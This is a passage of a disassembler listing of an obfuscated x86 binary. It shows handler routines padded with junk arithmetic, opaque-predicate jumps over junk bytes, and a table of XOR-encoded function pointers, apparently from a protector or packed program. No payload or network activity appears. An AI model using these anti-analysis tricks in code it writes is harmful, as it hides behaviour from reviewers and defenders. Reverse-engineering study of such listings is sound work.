[ebp+var_8], edx loc_495D39: ; CODE XREF: sub_495BCB+163j mov eax, [ebp+var_8] push eax call off_4F1D4C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_495BCB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_495D4D proc near ; DATA XREF: sub_4965D8+1091o var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov eax, [ebp+arg_0] push ebx mov ebx, [ebp+arg_4] inc ebx inc ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 10h dec ch dec ch sub ch, 14h dec ch dec ch dec ch dec ch dec ch dec ch dec ch mov ebx, [ebp+arg_4] dec esi dec edi xor edx, edx or ebx, edx jz short loc_495D95 dec edi and eax, 0 jmp short loc_495D9C ; --------------------------------------------------------------------------- loc_495D95: ; CODE XREF: sub_495D4D+40j dec edi and eax, 0 dec edi dec edi inc eax loc_495D9C: ; CODE XREF: sub_495D4D+46j mov [ebp+var_8], eax mov eax, dword_4ED404 xor eax, dword_4ED408 shl eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 0 jz short loc_495DBE mov ecx, [ebp+var_4] or ecx, 1 mov [ebp+var_4], ecx loc_495DBE: ; CODE XREF: sub_495D4D+66j mov edx, [ebp+var_4] push edx call off_4F1D5C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_495D4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_495DD2 proc near ; DATA XREF: sub_4965D8+F98o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Dh dec ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 7 dec ch dec ch and ah, ch mov cl, 77h sub cl, 2 dec cl dec cl dec cl dec cl not cl bswap edx not cl bswap edx dec cl dec cl push eax dec cl dec cl sub cl, 12h dec cl jo short loc_495E3A jl short loc_495E38 loc_495E35: ; CODE XREF: sub_495DD2:loc_495E38j ; sub_495DD2:loc_495E3Aj jmp short loc_495E3C ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_495E38: ; CODE XREF: sub_495DD2+61j jz short loc_495E35 loc_495E3A: ; CODE XREF: sub_495DD2+5Fj jmp short loc_495E35 ; --------------------------------------------------------------------------- loc_495E3C: ; CODE XREF: sub_495DD2:loc_495E35j dec cl and eax, 40h dec cl dec cl dec cl add cl, 0Eh dec cl dec cl and eax, 800h sub cl, 1Fh dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax pop eax and al, cl mov eax, eax pop ecx pop ebx test eax, eax jnz loc_495F19 mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 7 dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 98h sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov ecx, eax push ecx mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx push 4 pop ecx dec cl dec cl dec cl dec cl and al, cl mov bh, 0Fh and bl, 0 dec bh sub bh, 3 dec bh sub bh, 1 dec bh and ah, bh pop ecx pop ebx test eax, eax jz short loc_495F04 not eax add eax, 1 stc jmp short loc_495F0A ; --------------------------------------------------------------------------- loc_495F04: ; CODE XREF: sub_495DD2+128j not eax add eax, 1 clc loc_495F0A: ; CODE XREF: sub_495DD2+130j sbb eax, eax add eax, 1 pop ecx cmp ecx, eax jnz short loc_495F19 and eax, 0 jmp short loc_495F1D ; --------------------------------------------------------------------------- loc_495F19: ; CODE XREF: sub_495DD2+9Bj ; sub_495DD2+140j and eax, 0 inc eax loc_495F1D: ; CODE XREF: sub_495DD2+145j mov [ebp+var_C], eax mov ecx, dword_4ED3D4 xor ecx, dword_4ED3D8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_495F40 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_495F40: ; CODE XREF: sub_495DD2+163j mov eax, [ebp+var_8] push eax call off_4F1D2C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_495DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_495F54 proc near ; DATA XREF: sub_4965D8+250o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DB8 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0AFh sub cl, 2 dec cl dec cl dec cl sub cl, 5 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl dec cl add cl, 12h dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 13h dec cl dec cl dec cl dec cl sub cl, 2 dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 and al, cl mov eax, eax pop ecx neg eax sbb eax, eax neg eax pop ebx mov [ebp+var_C], eax mov ecx, dword_4ED3E8 xor ecx, dword_4ED3EC shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_496019 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_496019: ; CODE XREF: sub_495F54+BAj mov eax, [ebp+var_8] push eax call off_4F1D40 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_495F54 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_49602D proc near ; DATA XREF: sub_4965D8+349o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DC4 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 40h not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx add ecx, 0Bh inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax add ecx, 3 and eax, ecx pop ecx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 0F00h sub dh, 1 dec dh dec dh dec dh dec dh dec dh dec dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx jo short loc_4960CA jl short loc_4960C8 loc_4960C5: ; CODE XREF: sub_49602D:loc_4960C8j ; sub_49602D:loc_4960CAj jmp short loc_4960CC ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4960C8: ; CODE XREF: sub_49602D+96j jz short loc_4960C5 loc_4960CA: ; CODE XREF: sub_49602D+94j jmp short loc_4960C5 ; --------------------------------------------------------------------------- loc_4960CC: ; CODE XREF: sub_49602D:loc_4960C5j cmp eax, edx jo short loc_4960D7 jl short loc_4960D5 loc_4960D2: ; CODE XREF: sub_49602D:loc_4960D5j ; sub_49602D:loc_4960D7j jmp short loc_4960D9 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4960D5: ; CODE XREF: sub_49602D+A3j jz short loc_4960D2 loc_4960D7: ; CODE XREF: sub_49602D+A1j jmp short loc_4960D2 ; --------------------------------------------------------------------------- loc_4960D9: ; CODE XREF: sub_49602D:loc_4960D2j jz short loc_4960EC and eax, 0 jo short loc_4960E7 jl short loc_4960E5 loc_4960E2: ; CODE XREF: sub_49602D:loc_4960E5j ; sub_49602D:loc_4960E7j jmp short loc_4960E9 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_4960E5: ; CODE XREF: sub_49602D+B3j jz short loc_4960E2 loc_4960E7: ; CODE XREF: sub_49602D+B1j jmp short loc_4960E2 ; --------------------------------------------------------------------------- loc_4960E9: ; CODE XREF: sub_49602D:loc_4960E2j inc eax jmp short loc_4960EF ; --------------------------------------------------------------------------- loc_4960EC: ; CODE XREF: sub_49602D:loc_4960D9j and eax, 0 loc_4960EF: ; CODE XREF: sub_49602D+BDj mov [ebp+var_C], eax mov ecx, dword_4ED3F4 xor ecx, dword_4ED3F8 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_496112 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_496112: ; CODE XREF: sub_49602D+DAj mov eax, [ebp+var_8] push eax call off_4F1D4C add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_49602D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_496126 proc near ; DATA XREF: sub_4965D8+C95o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DA0 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 8 dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 41h bswap ecx pop eax bswap ecx and ah, bh mov bl, 87h sub bl, 4 dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 1Ah sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED3D0 xor ecx, dword_4ED3D4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4961BD mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4961BD: ; CODE XREF: sub_496126+8Cj mov eax, [ebp+var_8] push eax call off_4F1D28 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_496126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4961D1 proc near ; DATA XREF: sub_4965D8+B14o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DDC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 1Ch dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 8Bh sub bl, 5 dec bl dec bl dec bl dec bl sub bl, 4 dec bl dec bl dec bl sub bl, 1Ah dec bl dec bl sub bl, 1Fh not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax neg eax pop edx mov [ebp+var_C], eax mov ecx, dword_4ED40C xor ecx, dword_4ED410 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_496296 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_496296: ; CODE XREF: sub_4961D1+BAj mov eax, [ebp+var_8] push eax call off_4F1D64 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4961D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4962AA proc near ; DATA XREF: sub_4965D8+E5o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DBC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push eax mov bh, 3 dec bh dec bh dec bh and eax, 800h bswap ecx pop eax bswap ecx and ah, bh mov bl, 9Ah sub bl, 5 dec bl dec bl dec bl dec bl dec bl dec bl dec bl sub bl, 2 sub bl, 0Ch not bx bswap eax not bx bswap eax and al, bl mov eax, eax pop ebx neg eax sbb eax, eax inc eax pop edx push eax mov eax, [ebp+var_4] mov edx, 500h inc dh inc dh inc dh and eax, edx neg eax sbb eax, eax inc eax mov edx, eax pop eax xor ecx, ecx jo short loc_496336 jl short loc_496334 loc_496331: ; CODE XREF: sub_4962AA:loc_496334j ; sub_4962AA:loc_496336j jmp short loc_496338 ; --------------------------------------------------------------------------- db 0E9h ; --------------------------------------------------------------------------- loc_496334: ; CODE XREF: sub_4962AA+85j jz short loc_496331 loc_496336: ; CODE XREF: sub_4962AA+83j jmp short loc_496331 ; --------------------------------------------------------------------------- loc_496338: ; CODE XREF: sub_4962AA:loc_496331j cmp eax, edx jo short loc_496343 jl short loc_496341 loc_49633E: ; CODE XREF: sub_4962AA:loc_496341j ; sub_4962AA:loc_496343j jmp short loc_496345 ; --------------------------------------------------------------------------- db 0C7h ; --------------------------------------------------------------------------- loc_496341: ; CODE XREF: sub_4962AA+92j jz short loc_49633E loc_496343: ; CODE XREF: sub_4962AA+90j jmp short loc_49633E ; --------------------------------------------------------------------------- loc_496345: ; CODE XREF: sub_4962AA:loc_49633Ej setnz cl mov al, cl mov [ebp+var_C], eax mov ecx, dword_4ED3EC xor ecx, dword_4ED3F0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_49636D mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_49636D: ; CODE XREF: sub_4962AA+B8j mov eax, [ebp+var_8] push eax call off_4F1D44 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4962AA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_496381 proc near ; DATA XREF: sub_4965D8+6A7o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1D90 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push ecx mov ecx, 800h mov ecx, 0Ch not ecx bswap eax not ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx not ecx not ecx inc ecx inc ecx dec ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx inc ecx dec ecx inc ecx inc cl inc cl inc cl add ecx, 0Dh inc cl inc cl inc cl inc cl inc cl add ecx, 0Ah dec ecx push edx mov edx, 4 add ecx, edx inc ecx pop edx bswap eax and eax, ecx pop ecx pop edx test eax, eax jnz loc_4964EC mov eax, [ebp+var_4] push ebx mov ebx, 0FFFFh and eax, ebx push ecx mov ch, 2Ch sub ch, 1 sub ch, 20h dec ch dec ch sub ch, 4 dec ch sub ch, 3 dec ch and ah, ch mov cl, 0AEh sub cl, 2 dec cl dec cl sub cl, 6 not al bswap ecx not al bswap ecx dec cl dec cl sub cl, 10h dec cl dec cl add cl, 0Ch dec cl dec cl dec cl dec cl dec cl dec cl sub cl, 10h sub cl, 1 dec cl dec cl dec cl dec cl dec cl dec cl dec cl dec cl not ecx bswap eax not ecx bswap eax inc cl add cl, 2 jo short loc_496476 jl short loc_496474 loc_49646F: ; CODE XREF: sub_496381:loc_496474j ; sub_496381:loc_496476j jmp short loc_496478 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_496474: ; CODE XREF: sub_496381+ECj jz short loc_49646F loc_496476: ; CODE XREF: sub_496381+EAj jmp short loc_49646F ; --------------------------------------------------------------------------- loc_496478: ; CODE XREF: sub_496381:loc_49646Fj and al, cl pop ecx pop ebx neg eax sbb eax, eax inc eax mov ecx, eax push ecx mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 1Fh pop ebx jo short loc_49649E jl short loc_49649C loc_496497: ; CODE XREF: sub_496381:loc_49649Cj ; sub_496381:loc_49649Ej jmp short loc_4964A0 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49649C: ; CODE XREF: sub_496381+114j jz short loc_496497 loc_49649E: ; CODE XREF: sub_496381+112j jmp short loc_496497 ; --------------------------------------------------------------------------- loc_4964A0: ; CODE XREF: sub_496381:loc_496497j sub bl, 5 dec bl push eax dec bl dec bl and eax, 41h dec bl sub bl, 12h sub bl, 3 pop eax dec bl and al, bl mov edx, 1500h dec dh sub dh, 7 dec dh sub dh, 3 dec dh jo short loc_4964D6 jl short loc_4964D4 loc_4964CF: ; CODE XREF: sub_496381:loc_4964D4j ; sub_496381:loc_4964D6j jmp short loc_4964D8 ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_4964D4: ; CODE XREF: sub_496381+14Cj jz short loc_4964CF loc_4964D6: ; CODE XREF: sub_496381+14Aj jmp short loc_4964CF ; --------------------------------------------------------------------------- loc_4964D8: ; CODE XREF: sub_496381:loc_4964CFj and ah, dh pop ebx pop edx neg eax sbb eax, eax inc eax pop ecx cmp ecx, eax jnz short loc_4964EC and eax, 0 inc eax jmp short loc_4964EF ; --------------------------------------------------------------------------- loc_4964EC: ; CODE XREF: sub_496381+6Fj ; sub_496381+163j and eax, 0 loc_4964EF: ; CODE XREF: sub_496381+169j mov [ebp+var_C], eax mov ecx, dword_4ED3C0 xor ecx, dword_4ED3C4 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_496512 mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_496512: ; CODE XREF: sub_496381+186j mov eax, [ebp+var_8] push eax call off_4F1D18 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_496381 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_496526 proc near ; DATA XREF: sub_4965D8+5Do var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] push eax call off_4F1DBC add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_4] push edx mov edx, 0FFFFh and eax, edx push ebx push 0D00h pop ebx jo short loc_49655C jl short loc_49655A loc_496555: ; CODE XREF: sub_496526:loc_49655Aj ; sub_496526:loc_49655Cj jmp short loc_49655E ; --------------------------------------------------------------------------- movlps xmm4, qword ptr [esi] loc_49655A: ; CODE XREF: sub_496526+2Dj jz short loc_496555 loc_49655C: ; CODE XREF: sub_496526+2Bj jmp short loc_496555 ; --------------------------------------------------------------------------- loc_49655E: ; CODE XREF: sub_496526:loc_496555j sub bh, 5 dec bh push eax dec bh dec bh and eax, 41h dec bh sub bh, 3 pop eax dec bh and ah, bh mov edx, 25h dec dl sub dl, 3 dec dl sub dl, 17h dec dl dec dl dec dl dec dl dec dl and al, dl pop ebx pop edx neg eax sbb eax, eax inc eax mov [ebp+var_C], eax mov ecx, dword_4ED3EC xor ecx, dword_4ED3F0 shl ecx, 1 mov [ebp+var_8], ecx cmp [ebp+var_C], 0 jz short loc_4965BA mov edx, [ebp+var_8] or edx, 1 mov [ebp+var_8], edx loc_4965BA: ; CODE XREF: sub_496526+89j mov eax, [ebp+var_8] push eax call off_4F1D44 add esp, 4 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_496526 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4965CE proc near ; DATA XREF: .data:004ED28Co push ebp mov ebp, esp call sub_4965D8 pop ebp retn sub_4965CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4965D8 proc near ; CODE XREF: sub_4965CE+3p push ebp mov ebp, esp mov eax, offset sub_49FEC6 xor eax, dword_4ED2CC xor eax, dword_4ED2D0 mov dword_4F36E8, eax mov ecx, offset sub_4A0AF6 xor ecx, dword_4ED2CC xor ecx, dword_4ED2D0 mov dword_4F36EC, ecx mov edx, offset sub_49F7DF xor edx, dword_4ED2CC xor edx, dword_4ED2D4 mov dword_4F36F0, edx mov eax, offset sub_4A1C87 xor eax, dword_4ED2CC xor eax, dword_4ED2D8 mov dword_4F36F4, eax mov ecx, offset sub_496526 xor ecx, dword_4ED2CC xor ecx, dword_4ED2DC mov dword_4F36F8, ecx mov edx, offset sub_4A2B5F xor edx, dword_4ED2CC xor edx, dword_4ED2E0 mov dword_4F36FC, edx mov eax, offset sub_4A0499 xor eax, dword_4ED2CC xor eax, dword_4ED2E4 mov dword_4F3700, eax mov ecx, offset sub_499286 xor ecx, dword_4ED2CC xor ecx, dword_4ED2E8 mov dword_4F3704, ecx mov edx, offset sub_49CC14 xor edx, dword_4ED2CC xor edx, dword_4ED2EC mov dword_4F3708, edx mov eax, offset sub_49C873 xor eax, dword_4ED2CC xor eax, dword_4ED2F0 mov dword_4F370C, eax mov ecx, offset sub_4962AA xor ecx, dword_4ED2CC xor ecx, dword_4ED2F4 mov dword_4F3710, ecx mov edx, offset sub_49526F xor edx, dword_4ED2CC xor edx, dword_4ED2F8 mov dword_4F3714, edx mov eax, offset sub_49FB10 xor eax, dword_4ED2CC xor eax, dword_4ED2FC mov dword_4F3718, eax mov ecx, offset sub_499CC7 xor ecx, dword_4ED2CC xor ecx, dword_4ED300 mov dword_4F371C, ecx mov edx, offset sub_49E379 xor edx, dword_4ED2CC xor edx, dword_4ED304 mov dword_4F3720, edx mov eax, offset sub_49B890 xor eax, dword_4ED2CC xor eax, dword_4ED308 mov dword_4F3724, eax mov ecx, offset sub_49CE90 xor ecx, dword_4ED2CC xor ecx, dword_4ED30C mov dword_4F3728, ecx mov edx, offset sub_49DA55 xor edx, dword_4ED2CC xor edx, dword_4ED310 mov dword_4F372C, edx mov eax, offset sub_49D2A1 xor eax, dword_4ED2CC xor eax, dword_4ED314 mov dword_4F3730, eax mov ecx, offset sub_497CCC xor ecx, dword_4ED2CC xor ecx, dword_4ED318 mov dword_4F3734, ecx mov edx, offset sub_4A1672 xor edx, dword_4ED2CC xor edx, dword_4ED31C mov dword_4F3738, edx mov eax, offset sub_49A543 xor eax, dword_4ED2CC xor eax, dword_4ED320 mov dword_4F373C, eax mov ecx, offset sub_49823A xor ecx, dword_4ED2CC xor ecx, dword_4ED324 mov dword_4F3740, ecx mov edx, offset sub_49C74A xor edx, dword_4ED2CC xor edx, dword_4ED328 mov dword_4F3744, edx mov eax, offset sub_4A21F9 xor eax, dword_4ED2CC xor eax, dword_4ED32C mov dword_4F3748, eax mov ecx, offset sub_49F081 xor ecx, dword_4ED2CC xor ecx, dword_4ED330 mov dword_4F374C, ecx mov edx, offset sub_495F54 xor edx, dword_4ED2CC xor edx, dword_4ED334 mov dword_4F3750, edx mov eax, offset sub_4A3313 xor eax, dword_4ED2CC xor eax, dword_4ED338 mov dword_4F3754, eax mov ecx, offset sub_49805F xor ecx, dword_4ED2CC xor ecx, dword_4ED33C mov dword_4F3758, ecx mov edx, offset sub_49E01E xor edx, dword_4ED2CC xor edx, dword_4ED340 mov dword_4F375C, edx mov eax, offset sub_49F246 xor eax, dword_4ED2D0 xor eax, dword_4ED2CC mov dword_4F3760, eax mov ecx, offset sub_498F78 xor ecx, dword_4ED2D0 xor ecx, dword_4ED2D4 mov dword_4F3764, ecx mov edx, offset sub_49A07B xor edx, dword_4ED2D0 xor edx, dword_4ED2D4 mov dword_4F3768, edx mov eax, offset sub_4A228D xor eax, dword_4ED2D0 xor eax, dword_4ED2D8 mov dword_4F376C, eax mov ecx, offset sub_4A35A2 xor ecx, dword_4ED2D0 xor ecx, dword_4ED2DC mov dword_4F3770, ecx mov edx, offset sub_49B69E xor edx, dword_4ED2D0 xor edx, dword_4ED2E0 mov dword_4F3774, edx mov eax, offset sub_499399 xor eax, dword_4ED2D0 xor eax, dword_4ED2E4 mov dword_4F3778, eax mov ecx, offset sub_49602D xor ecx, dword_4ED2D0 xor ecx, dword_4ED2E8 mov dword_4F377C, ecx mov edx, offset sub_499FD4 xor edx, dword_4ED2D0 xor edx, dword_4ED2EC mov dword_4F3780, edx mov eax, offset sub_495835 xor eax, dword_4ED2D0 xor eax, dword_4ED2F0 mov dword_4F3784, eax mov ecx, offset sub_4989E5 xor ecx, dword_4ED2D0 xor ecx, dword_4ED2F4 mov dword_4F3788, ecx mov edx, offset sub_499C30 xor edx, dword_4ED2D0 xor edx, dword_4ED2F8 mov dword_4F378C, edx mov eax, offset sub_49ACF4 xor eax, dword_4ED2D0 xor eax, dword_4ED2FC mov dword_4F3790, eax mov ecx, offset sub_4A2D20 xor ecx, dword_4ED2D0 xor ecx, dword_4ED300 mov dword_4F3794, ecx mov edx, offset sub_495BCB xor edx, dword_4ED2D0 xor edx, dword_4ED304 mov dword_4F3798, edx mov eax, offset sub_49B480 xor eax, dword_4ED2D0 xor eax, dword_4ED308 mov dword_4F379C, eax mov ecx, offset sub_4A09BE xor ecx, dword_4ED2D0 xor ecx, dword_4ED30C mov dword_4F37A0, ecx mov edx, offset sub_49E16E xor edx, dword_4ED2D0 xor edx, dword_4ED310 mov dword_4F37A4, edx mov eax, offset sub_49AEE0 xor eax, dword_4ED2D0 xor eax, dword_4ED314 mov dword_4F37A8, eax mov ecx, offset sub_49ECF9 xor ecx, dword_4ED2D0 xor ecx, dword_4ED318 mov dword_4F37AC, ecx mov edx, offset sub_4999E5 xor edx, dword_4ED2D0 xor edx, dword_4ED31C mov dword_4F37B0, edx mov eax, offset sub_4985C8 xor eax, dword_4ED2D0 xor eax, dword_4ED320 mov dword_4F37B4, eax mov ecx, offset sub_49E97C xor ecx, dword_4ED2D0 xor ecx, dword_4ED324 mov dword_4F37B8, ecx mov edx, offset sub_49CA28 xor edx, dword_4ED2D0 xor edx, dword_4ED328 mov dword_4F37BC, edx mov eax, offset sub_498394 xor eax, dword_4ED2D0 xor eax, dword_4ED32C mov dword_4F37C0, eax mov ecx, offset sub_49DD2D xor ecx, dword_4ED2D0 xor ecx, dword_4ED330 mov dword_4F37C4, ecx mov edx, offset sub_4A2312 xor edx, dword_4ED2D0 xor edx, dword_4ED334 mov dword_4F37C8, edx mov eax, offset sub_4A3197 xor eax, dword_4ED2D0 xor eax, dword_4ED338 mov dword_4F37CC, eax mov ecx, offset sub_49A456 xor ecx, dword_4ED2D0 xor ecx, dword_4ED33C mov dword_4F37D0, ecx mov edx, offset sub_4A2FB3 xor edx, dword_4ED2D0 xor edx, dword_4ED340 mov dword_4F37D4, edx mov eax, offset sub_49C98D xor eax, dword_4ED2D4 xor eax, dword_4ED2CC mov dword_4F37D8, eax mov ecx, offset sub_498C43 xor ecx, dword_4ED2D4 xor ecx, dword_4ED2D0 mov dword_4F37DC, ecx mov edx, offset sub_49AA5D xor edx, dword_4ED2D4 xor edx, dword_4ED2D8 mov dword_4F37E0, edx mov eax, offset sub_49D86B xor eax, dword_4ED2D4 xor eax, dword_4ED2D8 mov dword_4F37E4, eax mov ecx, offset sub_49DE9B xor ecx, dword_4ED2D4 xor ecx, dword_4ED2DC mov dword_4F37E8, ecx mov edx, offset sub_49D502 xor edx, dword_4ED2D4 xor edx, dword_4ED2E0 mov dword_4F37EC, edx mov eax, offset sub_49CAE2 xor eax, dword_4ED2D4 xor eax, dword_4ED2E4 mov dword_4F37F0, eax mov ecx, offset sub_499B77 xor ecx, dword_4ED2D4 xor ecx, dword_4ED2E8 mov dword_4F37F4, ecx mov edx, offset sub_495A73 xor edx, dword_4ED2D4 xor edx, dword_4ED2EC mov dword_4F37F8, edx mov eax, offset sub_4A0A56 xor eax, dword_4ED2D4 xor eax, dword_4ED2F0 mov dword_4F37FC, eax mov ecx, offset sub_49A261 xor ecx, dword_4ED2D4 xor ecx, dword_4ED2F4 mov dword_4F3800, ecx mov edx, offset sub_49E8B3 xor edx, dword_4ED2D4 xor edx, dword_4ED2F8 mov dword_4F3804, edx mov eax, offset sub_49BB7F xor eax, dword_4ED2D4 xor eax, dword_4ED2FC mov dword_4F3808, eax mov ecx, offset sub_4A2697 xor ecx, dword_4ED2D4 xor ecx, dword_4ED300 mov dword_4F380C, ecx mov edx, offset sub_49C0D6 xor edx, dword_4ED2D4 xor edx, dword_4ED304 mov dword_4F3810, edx mov eax, offset sub_496381 xor eax, dword_4ED2D4 xor eax, dword_4ED308 mov dword_4F3814, eax mov ecx, offset sub_4982C0 xor ecx, dword_4ED2D4 xor ecx, dword_4ED30C mov dword_4F3818, ecx mov edx, offset sub_497E12 xor edx, dword_4ED2D4 xor edx, dword_4ED310 mov dword_4F381C, edx mov eax, offset sub_49FDFE xor eax, dword_4ED2D4 xor eax, dword_4ED314 mov dword_4F3820, eax mov ecx, offset sub_4A2762 xor ecx, dword_4ED2D4 xor ecx, dword_4ED318 mov dword_4F3824, ecx mov edx, offset sub_4A07C6 xor edx, dword_4ED2D4 xor edx, dword_4ED31C mov 